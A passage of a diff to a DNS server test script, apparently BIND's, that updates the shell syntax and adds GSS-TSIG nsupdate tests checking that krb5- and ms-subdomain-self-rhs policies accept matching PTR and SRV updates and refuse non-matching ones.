-  KRB5CCNAME="FILE:"`pwd`/ns7/machine.ccache
+  KRB5CCNAME="FILE:$(pwd)/ns7/machine.ccache"
   export KRB5CCNAME
-  $NSUPDATE << EOF > nsupdate.out-$n 2>&1 && ret=1
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
   gsstsig
   realm EXAMPLE.COM
   server 10.53.0.7 ${PORT}
@@ -1272,17 +1833,17 @@ EOF
   update add foo.example.com 3600 IN A 10.53.0.7
   send
 EOF
-  grep "update failed: REFUSED" nsupdate.out-$n > /dev/null || ret=1
+  grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
   $DIG $DIGOPTS +tcp @10.53.0.7 foo.example.com A > dig.out.ns7.test$n
   grep "status: NXDOMAIN" dig.out.ns7.test$n > /dev/null || ret=1
   [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-  n=`expr $n + 1`
+  n=$((n + 1))
   ret=0
   echo_i "check krb5-subdomain match ($n)"
-  KRB5CCNAME="FILE:"`pwd`/ns7/machine.ccache
+  KRB5CCNAME="FILE:$(pwd)/ns7/machine.ccache"
   export KRB5CCNAME
-  $NSUPDATE -d << EOF > nsupdate.out-$n 2>&1 || ret=1
+  $NSUPDATE -d << EOF > nsupdate.out.test$n 2>&1 || ret=1
   gsstsig
   realm EXAMPLE.COM
   server 10.53.0.7 ${PORT}
@@ -1295,12 +1856,12 @@ EOF
   grep "_xxx._tcp.example.com.*SRV.*0 0 0 machine.example.com" dig.out.ns7.test$n > /dev/null || ret=1
   [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-  n=`expr $n + 1`
+  n=$((n + 1))
   ret=0
   echo_i "check krb5-subdomain no-match ($n)"
-  KRB5CCNAME="FILE:"`pwd`/ns7/machine.ccache
+  KRB5CCNAME="FILE:$(pwd)/ns7/machine.ccache"
   export KRB5CCNAME
-  $NSUPDATE << EOF > nsupdate.out-$n 2>&1 && ret=1
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
   gsstsig
   realm EXAMPLE.COM
   server 10.53.0.7 ${PORT}
@@ -1308,17 +1869,283 @@ EOF
   update add _xxx._udp.example.com 3600 IN SRV 0 0 0 machine.example.com
   send
 EOF
-  grep "update failed: REFUSED" nsupdate.out-$n > /dev/null || ret=1
+  grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
   $DIG $DIGOPTS +tcp @10.53.0.7 _xxx._udp.example.com SRV > dig.out.ns7.test$n
   grep "status: NXDOMAIN" dig.out.ns7.test$n > /dev/null || ret=1
   [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-  n=`expr $n + 1`
+  n=$((n+1))
+  ret=0
+  echo_i "check krb5-subdomain-self-rhs match PTR ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns7/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE -d << EOF > nsupdate.out.test$n 2>&1 || ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.7 ${PORT}
+  zone in-addr.arpa
+  update add 4.3.2.1.in-addr.arpa 3600 IN PTR machine.example.com
+  send
+EOF
+  $DIG $DIGOPTS +tcp @10.53.0.7 4.3.2.1.in-addr.arpa PTR > dig.out.ns7.test$n
+  grep "status: NOERROR" dig.out.ns7.test$n > /dev/null || ret=1
+  grep "4.3.2.1.in-addr.arpa.*PTR.*machine.example.com" dig.out.ns7.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check krb5-subdomain-self-rhs no-match PTR ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns7/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.7 ${PORT}
+  zone in-addr.arpa
+  update add 5.3.2.1.in-addr.arpa 3600 IN PTR notme.example.com
+  send
+EOF
+  grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
+  $DIG $DIGOPTS +tcp @10.53.0.7 5.3.2.1.in-addr.arpa PTR > dig.out.ns7.test$n
+  grep "status: NXDOMAIN" dig.out.ns7.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check krb5-subdomain-self-rhs match SRV ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns7/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE -d << EOF > nsupdate.out.test$n 2>&1 || ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.7 ${PORT}
+  zone example.com
+  update add _xxx.self-srv.example.com 3600 IN SRV 0 0 0 machine.example.com
+  send
+EOF
+  $DIG $DIGOPTS +tcp @10.53.0.7 _xxx.self-srv.example.com ANY > dig.out.ns7.test$n
+  grep "status: NOERROR" dig.out.ns7.test$n > /dev/null || ret=1
+  grep "_xxx.self-srv.example.com.*SRV.*0 0 0 machine.example.com" dig.out.ns7.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check krb5-subdomain-self-rhs no listed types match (SRV & TXT) ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns7/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE -d << EOF > nsupdate.out.test$n 2>&1 || ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.7 ${PORT}
+  zone example.com
+  update add _xxx.self-srv-no-type.example.com 3600 IN SRV 0 0 0 machine.example.com
+  update add _xxx.self-srv-no-type.example.com 3600 IN TXT a txt record
+  send
+EOF
+  $DIG $DIGOPTS +tcp @10.53.0.7 _xxx.self-srv-no-type.example.com ANY > dig.out.ns7.test$n
+  grep "status: NOERROR" dig.out.ns7.test$n > /dev/null || ret=1
+  grep '_xxx.self-srv-no-type.example.com.*SRV.*0 0 0 machine.example.com' dig.out.ns7.test$n > /dev/null || ret=1
+  grep '_xxx.self-srv-no-type.example.com.*TXT.*"a" "txt" "record"' dig.out.ns7.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check krb5-subdomain-self-rhs no-match RDATA (SRV) ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns7/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.7 ${PORT}
+  zone example.com
+  update add _yyy.self-srv.example.com 3600 IN SRV 0 0 0 notme.example.com
+  send
+EOF
+  grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
+  $DIG $DIGOPTS +tcp @10.53.0.7 _yyy.self-srv.example.com SRV > dig.out.ns7.test$n
+  grep "status: NXDOMAIN" dig.out.ns7.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check krb5-subdomain-self-rhs no-match TYPE (TXT) ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns7/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.7 ${PORT}
+  zone example.com
+  update add _yyy.self-srv.example.com 3600 IN TXT a-txt-record
+  send
+EOF
+  grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
+  $DIG $DIGOPTS +tcp @10.53.0.7 _yyy.self-srv.example.com TXT > dig.out.ns7.test$n
+  grep "status: NXDOMAIN" dig.out.ns7.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check krb5-subdomain-self-rhs delete PTR (matching PTR) ($n)"
+  $DIG $DIGOPTS +tcp @10.53.0.7 single.ptr.self-ptr.in-addr.arpa PTR > dig.out.ns7.pre.test$n
+  grep "status: NOERROR" dig.out.ns7.pre.test$n > /dev/null || ret=1
+  grep "ANSWER: 1," dig.out.ns7.pre.test$n > /dev/null || ret=1
+  KRB5CCNAME="FILE:$(pwd)/ns7/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 || ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.7 ${PORT}
+  zone in-addr.arpa
+  update delete single.ptr.self-ptr.in-addr.arpa PTR
+  send
+EOF
+  $DIG $DIGOPTS +tcp @10.53.0.7 single.ptr.self-ptr.in-addr.arpa PTR > dig.out.ns7.test$n
+  grep "status: NXDOMAIN" dig.out.ns7.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check krb5-subdomain-self-rhs delete PTR (matching PTR with non-matching PTR) ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns7/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.7 ${PORT}
+  zone in-addr.arpa
+  update delete many.ptr.self-ptr.in-addr.arpa PTR
+  send
+EOF
+  grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
+  $DIG $DIGOPTS +tcp @10.53.0.7 many.ptr.self-ptr.in-addr.arpa PTR > dig.out.ns7.test$n
+  grep "status: NOERROR" dig.out.ns7.test$n > /dev/null || ret=1
+  grep "ANSWER: 2," dig.out.ns7.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check krb5-subdomain-self-rhs delete ANY (matching PTR) ($n)"
+  $DIG $DIGOPTS +tcp @10.53.0.7 single.any.self-ptr.in-addr.arpa PTR > dig.out.ns7.pre.test$n
+  grep "status: NOERROR" dig.out.ns7.pre.test$n > /dev/null || ret=1
+  grep "ANSWER: 1," dig.out.ns7.pre.test$n > /dev/null || ret=1
+  KRB5CCNAME="FILE:$(pwd)/ns7/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 || ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.7 ${PORT}
+  zone in-addr.arpa
+  update delete single.any.self-ptr.in-addr.arpa
+  send
+EOF
+  $DIG $DIGOPTS +tcp @10.53.0.7 single.any.self-ptr.in-addr.arpa PTR > dig.out.ns7.test$n
+  grep "status: NXDOMAIN" dig.out.ns7.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check krb5-subdomain-self-rhs delete ANY (matching PTR with non-matching PTR) ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns7/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.7 ${PORT}
+  zone in-addr.arpa
+  update delete many.any.self-ptr.in-addr.arpa
+  send
+EOF
+  grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
+  $DIG $DIGOPTS +tcp @10.53.0.7 many.any.self-ptr.in-addr.arpa PTR > dig.out.ns7.test$n
+  grep "status: NOERROR" dig.out.ns7.test$n > /dev/null || ret=1
+  grep "ANSWER: 2," dig.out.ns7.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check krb5-subdomain-self-rhs delete SRV (matching SRV) ($n)"
+  $DIG $DIGOPTS +tcp @10.53.0.7 single.srv.self-srv.example.com SRV > dig.out.ns7.pre.test$n
+  grep "status: NOERROR" dig.out.ns7.pre.test$n > /dev/null || ret=1
+  grep "ANSWER: 1," dig.out.ns7.pre.test$n > /dev/null || ret=1
+  KRB5CCNAME="FILE:$(pwd)/ns7/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 || ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.7 ${PORT}
+  zone example.com
+  update delete single.srv.self-srv.example.com SRV
+  send
+EOF
+  $DIG $DIGOPTS +tcp @10.53.0.7 single.srv.self-srv.example.com SRV > dig.out.ns7.test$n
+  grep "status: NXDOMAIN" dig.out.ns7.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check krb5-subdomain-self-rhs delete SRV (matching SRV with non-matching SRV) ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns7/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.7 ${PORT}
+  zone example.com
+  update delete many.srv.self-srv.example.com SRV
+  send
+EOF
+  grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
+  $DIG $DIGOPTS +tcp @10.53.0.7 many.srv.self-srv.example.com SRV > dig.out.ns7.test$n
+  grep "status: NOERROR" dig.out.ns7.test$n > /dev/null || ret=1
+  grep "ANSWER: 2," dig.out.ns7.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check krb5-subdomain-self-rhs delete ANY (matching SRV) ($n)"
+  $DIG $DIGOPTS +tcp @10.53.0.7 single.any.self-srv.example.com SRV > dig.out.ns7.pre.test$n
+  grep "status: NOERROR" dig.out.ns7.pre.test$n > /dev/null || ret=1
+  grep "ANSWER: 1," dig.out.ns7.pre.test$n > /dev/null || ret=1
+  KRB5CCNAME="FILE:$(pwd)/ns7/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 || ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.7 ${PORT}
+  zone example.com
+  update delete single.any.self-srv.example.com
+  send
+EOF
+  $DIG $DIGOPTS +tcp @10.53.0.7 single.any.self-srv.example.com SRV > dig.out.ns7.test$n
+  grep "status: NXDOMAIN" dig.out.ns7.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check krb5-subdomain-self-rhs delete ANY (matching SRV with non-matching SRV) ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns7/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.7 ${PORT}
+  zone example.com
+  update delete many.any.self-srv.example.com
+  send
+EOF
+  grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
+  $DIG $DIGOPTS +tcp @10.53.0.7 many.any.self-srv.example.com SRV > dig.out.ns7.test$n
+  grep "status: NOERROR" dig.out.ns7.test$n > /dev/null || ret=1
+  grep "ANSWER: 2," dig.out.ns7.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n + 1))
   ret=0
   echo_i "check krb5-selfsub match ($n)"
-  KRB5CCNAME="FILE:"`pwd`/ns8/machine.ccache
+  KRB5CCNAME="FILE:$(pwd)/ns8/machine.ccache"
   export KRB5CCNAME
-  $NSUPDATE -d << EOF > nsupdate.out-$n 2>&1 || ret=1
+  $NSUPDATE -d << EOF > nsupdate.out.test$n 2>&1 || ret=1
   gsstsig
   realm EXAMPLE.COM
   server 10.53.0.8 ${PORT}
@@ -1331,12 +2158,12 @@ EOF
   grep "xxx.machine.example.com..*A.*10.53.0.8" dig.out.ns8.test$n > /dev/null || ret=1
   [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-  n=`expr $n + 1`
+  n=$((n + 1))
   ret=0
   echo_i "check krb5-selfsub no-match ($n)"
-  KRB5CCNAME="FILE:"`pwd`/ns8/machine.ccache
+  KRB5CCNAME="FILE:$(pwd)/ns8/machine.ccache"
   export KRB5CCNAME
-  $NSUPDATE << EOF > nsupdate.out-$n 2>&1 && ret=1
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
   gsstsig
   realm EXAMPLE.COM
   server 10.53.0.8 ${PORT}
@@ -1344,18 +2171,17 @@ EOF
   update add foo.example.com 3600 IN A 10.53.0.8
   send
 EOF
-  grep "update failed: REFUSED" nsupdate.out-$n > /dev/null || ret=1
+  grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
   $DIG $DIGOPTS +tcp @10.53.0.8 foo.example.com A > dig.out.ns8.test$n
   grep "status: NXDOMAIN" dig.out.ns8.test$n > /dev/null || ret=1
   [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-  n=`expr $n + 1`
+  n=$((n + 1))
   ret=0
-
   echo_i "check ms-self match ($n)"
-  KRB5CCNAME="FILE:"`pwd`/ns9/machine.ccache
+  KRB5CCNAME="FILE:$(pwd)/ns9/machine.ccache"
   export KRB5CCNAME
-  $NSUPDATE << EOF > nsupdate.out-$n 2>&1 || ret=1
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 || ret=1
   gsstsig
   realm EXAMPLE.COM
   server 10.53.0.9 ${PORT}
@@ -1368,12 +2194,12 @@ EOF
   grep "machine.example.com..*A.*10.53.0.9" dig.out.ns9.test$n > /dev/null || ret=1
   [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-  n=`expr $n + 1`
+  n=$((n + 1))
   ret=0
   echo_i "check ms-self no-match ($n)"
-  KRB5CCNAME="FILE:"`pwd`/ns9/machine.ccache
+  KRB5CCNAME="FILE:$(pwd)/ns9/machine.ccache"
   export KRB5CCNAME
-  $NSUPDATE << EOF > nsupdate.out-$n 2>&1 && ret=1
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
   gsstsig
   realm EXAMPLE.COM
   server 10.53.0.9 ${PORT}
@@ -1381,17 +2207,17 @@ EOF
   update add foo.example.com 3600 IN A 10.53.0.9
   send
 EOF
-  grep "update failed: REFUSED" nsupdate.out-$n > /dev/null || ret=1
+  grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
   $DIG $DIGOPTS +tcp @10.53.0.9 foo.example.com A > dig.out.ns9.test$n
   grep "status: NXDOMAIN" dig.out.ns9.test$n > /dev/null || ret=1
   [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-  n=`expr $n + 1`
+  n=$((n + 1))
   ret=0
   echo_i "check ms-subdomain match ($n)"
-  KRB5CCNAME="FILE:"`pwd`/ns9/machine.ccache
+  KRB5CCNAME="FILE:$(pwd)/ns9/machine.ccache"
   export KRB5CCNAME
-  $NSUPDATE -d << EOF > nsupdate.out-$n 2>&1 || ret=1
+  $NSUPDATE -d << EOF > nsupdate.out.test$n 2>&1 || ret=1
   gsstsig
   realm EXAMPLE.COM
   server 10.53.0.9 ${PORT}
@@ -1404,12 +2230,12 @@ EOF
   grep "_xxx._tcp.example.com.*SRV.*0 0 0 machine.example.com" dig.out.ns9.test$n > /dev/null || ret=1
   [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-  n=`expr $n + 1`
+  n=$((n + 1))
   ret=0
   echo_i "check ms-subdomain no-match ($n)"
-  KRB5CCNAME="FILE:"`pwd`/ns9/machine.ccache
+  KRB5CCNAME="FILE:$(pwd)/ns9/machine.ccache"
   export KRB5CCNAME
-  $NSUPDATE << EOF > nsupdate.out-$n 2>&1 && ret=1
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
   gsstsig
   realm EXAMPLE.COM
   server 10.53.0.9 ${PORT}
@@ -1417,17 +2243,245 @@ EOF
   update add _xxx._udp.example.com 3600 IN SRV 0 0 0 machine.example.com
   send
 EOF
-  grep "update failed: REFUSED" nsupdate.out-$n > /dev/null || ret=1
+  grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
   $DIG $DIGOPTS +tcp @10.53.0.9 _xxx._udp.example.com SRV > dig.out.ns9.test$n
   grep "status: NXDOMAIN" dig.out.ns9.test$n > /dev/null || ret=1
   [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-  n=`expr $n + 1`
+  n=$((n+1))
+  ret=0
+  echo_i "check ms-subdomain-self-rhs match (PTR) ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns10/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE -d << EOF > nsupdate.out.test$n 2>&1 || ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.10 ${PORT}
+  zone in-addr.arpa
+  update add 4.3.2.1.in-addr.arpa 3600 IN PTR machine.example.com
+  send
+EOF
+  $DIG $DIGOPTS +tcp @10.53.0.10 4.3.2.1.in-addr.arpa PTR > dig.out.ns10.test$n
+  grep "status: NOERROR" dig.out.ns10.test$n > /dev/null || ret=1
+  grep "4.3.2.1.in-addr.arpa.*PTR.*machine.example.com" dig.out.ns10.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check ms-subdomain-self-rhs no-match (PTR) ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns10/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.10 ${PORT}
+  zone in-addr.arpa
+  update add 5.3.2.1.in-addr.arpa 3600 IN PTR notme.example.com
+  send
+EOF
+  grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
+  $DIG $DIGOPTS +tcp @10.53.0.10 5.3.2.1.in-addr.arpa PTR > dig.out.ns10.test$n
+  grep "status: NXDOMAIN" dig.out.ns10.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check ms-subdomain-self-rhs match (SRV) ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns10/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE -d << EOF > nsupdate.out.test$n 2>&1 || ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.10 ${PORT}
+  zone example.com
+  update add _xxx.self-srv.example.com 3600 IN SRV 0 0 0 machine.example.com
+  send
+EOF
+  $DIG $DIGOPTS +tcp @10.53.0.10 _xxx.self-srv.example.com SRV > dig.out.ns10.test$n
+  grep "status: NOERROR" dig.out.ns10.test$n > /dev/null || ret=1
+  grep "_xxx.self-srv.example.com.*SRV.*0 0 0 machine.example.com" dig.out.ns10.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check ms-subdomain-self-rhs no-match (SRV) ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns10/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.10 ${PORT}
+  zone example.com
+  update add _yyy.self-srv.example.com 3600 IN SRV 0 0 0 notme.example.com
+  send
+EOF
+  grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
+  $DIG $DIGOPTS +tcp @10.53.0.10 _yyy.self-srv.example.com SRV > dig.out.ns10.test$n
+  grep "status: NXDOMAIN" dig.out.ns10.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check ms-subdomain-self-rhs delete SRV (matching SRV) ($n)"
+  $DIG $DIGOPTS +tcp @10.53.0.10 single.srv.self-srv.example.com SRV > dig.out.ns10.pre.test$n
+  grep "status: NOERROR" dig.out.ns10.pre.test$n > /dev/null || ret=1
+  grep "ANSWER: 1," dig.out.ns10.pre.test$n > /dev/null || ret=1
+  KRB5CCNAME="FILE:$(pwd)/ns10/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 || ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.10 ${PORT}
+  zone example.com
+  update delete single.srv.self-srv.example.com SRV
+  send
+EOF
+  $DIG $DIGOPTS +tcp @10.53.0.10 single.srv.self-srv.example.com SRV > dig.out.ns10.test$n
+  grep "status: NXDOMAIN" dig.out.ns10.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check ms-subdomain-self-rhs delete SRV (matching SRV with non-matching SRV) ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns10/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.10 ${PORT}
+  zone example.com
+  update delete many.srv.self-srv.example.com SRV
+  send
+EOF
+  grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
+  $DIG $DIGOPTS +tcp @10.53.0.10 many.srv.self-srv.example.com SRV > dig.out.ns10.test$n
+  grep "status: NOERROR" dig.out.ns10.test$n > /dev/null || ret=1
+  grep "ANSWER: 2," dig.out.ns10.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check ms-subdomain-self-rhs delete PTR (matching PTR) ($n)"
+  $DIG $DIGOPTS +tcp @10.53.0.10 single.ptr.self-ptr.in-addr.arpa PTR > dig.out.ns10.pre.test$n
+  grep "status: NOERROR" dig.out.ns10.pre.test$n > /dev/null || ret=1
+  grep "ANSWER: 1," dig.out.ns10.pre.test$n > /dev/null || ret=1
+  KRB5CCNAME="FILE:$(pwd)/ns10/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 || ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.10 ${PORT}
+  zone in-addr.arpa
+  update delete single.ptr.self-ptr.in-addr.arpa PTR
+  send
+EOF
+  $DIG $DIGOPTS +tcp @10.53.0.10 single.ptr.self-ptr.in-addr.arpa PTR > dig.out.ns10.test$n
+  grep "status: NXDOMAIN" dig.out.ns10.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check ms-subdomain-self-rhs delete PTR (matching PTR with non-matching PTR) ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns10/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.10 ${PORT}
+  zone in-addr.arpa
+  update delete many.ptr.self-ptr.in-addr.arpa PTR
+  send
+EOF
+  grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
+  $DIG $DIGOPTS +tcp @10.53.0.10 many.ptr.self-ptr.in-addr.arpa PTR > dig.out.ns10.test$n
+  grep "status: NOERROR" dig.out.ns10.test$n > /dev/null || ret=1
+  grep "ANSWER: 2," dig.out.ns10.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check ms-subdomain-self-rhs delete ANY (matching PTR) ($n)"
+  $DIG $DIGOPTS +tcp @10.53.0.10 single.any.self-ptr.in-addr.arpa PTR > dig.out.ns10.pre.test$n
+  grep "status: NOERROR" dig.out.ns10.pre.test$n > /dev/null || ret=1
+  grep "ANSWER: 1," dig.out.ns10.pre.test$n > /dev/null || ret=1
+  KRB5CCNAME="FILE:$(pwd)/ns10/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 || ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.10 ${PORT}
+  zone in-addr.arpa
+  update delete single.any.self-ptr.in-addr.arpa
+  send
+EOF
+  $DIG $DIGOPTS +tcp @10.53.0.10 single.any.self-ptr.in-addr.arpa PTR > dig.out.ns10.test$n
+  grep "status: NXDOMAIN" dig.out.ns10.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check ms-subdomain-self-rhs delete ANY (matching PTR with non-matching PTR) ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns10/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.10 ${PORT}
+  zone in-addr.arpa
+  update delete many.any.self-ptr.in-addr.arpa
+  send
+EOF
+  grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
+  $DIG $DIGOPTS +tcp @10.53.0.10 many.any.self-ptr.in-addr.arpa PTR > dig.out.ns10.test$n
+  grep "status: NOERROR" dig.out.ns10.test$n > /dev/null || ret=1
+  grep "ANSWER: 2," dig.out.ns10.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check ms-subdomain-self-rhs delete ANY (matching SRV) ($n)"
+  $DIG $DIGOPTS +tcp @10.53.0.10 single.any.self-srv.example.com SRV > dig.out.ns10.pre.test$n
